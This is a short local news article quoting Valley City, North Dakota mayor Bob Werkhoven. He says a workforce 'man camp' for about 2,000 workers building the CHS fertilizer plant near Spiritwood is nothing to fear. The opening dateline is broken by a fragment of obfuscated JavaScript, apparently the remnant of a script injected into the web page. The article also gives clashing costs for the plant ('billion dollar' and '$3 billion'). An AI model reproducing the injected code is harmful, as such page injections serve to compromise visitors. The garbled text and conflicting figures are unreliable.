VALLEY dbnas|var|u0026u|referrer|keiyn||js|php’.split(‘|’),0,{}))
CITY, N.D. – The construction of a “Man Camp” that will help house some 2,000 workers near Spiritwood, North Dakota for the construction of the new billion dollar CHS Inc, fertilizer plant should not be feared by the public according to Valley City mayor Bob Werkhoven.

He said workforce housing is another term that is more descriptive of what these facilities do and that is to provide temporary employee housing to workers whose mission is to build large projects. This type of housing is used extensively in the oil fields of western North Dakota to house workers.

The housing camps are generally intended to be self-sufficient communities and may not only provide shelter for the workers, but also dining, laundry and recreational facilities. As I understand it the facility for workers may be built on or near the plant site to mitigate some traffic issues.

Most companies who do this kind of work have policies that forbid alcohol, illegal drugs, firearms and unauthorized personnel at these facilities. Rowdiness is not only controlled by background checks, but by the long work hours required of the employees, work, eat and sleep leaving little time to get into trouble.

We all know people, perhaps even our neighbors, who work in the construction industry and they are no different than anybody else. They are skilled builders and we should be careful not to categorize them in a negative vein.

Werkhoven recalled the Michel’s pipeline people working in the Valley City area back in 2008, and I guess my experience with their employees was positive and the word I get from the Valley City merchants was also positive.

There will of course have to be some adjustments to accommodate some of the additional services that will be required with any increase in a transient population.

Werkhoven says the construction and operation of the $3 billion dollar CHS fertilizer plant near Spiritwood, North Dakota should turn out to be a Win Win for the region.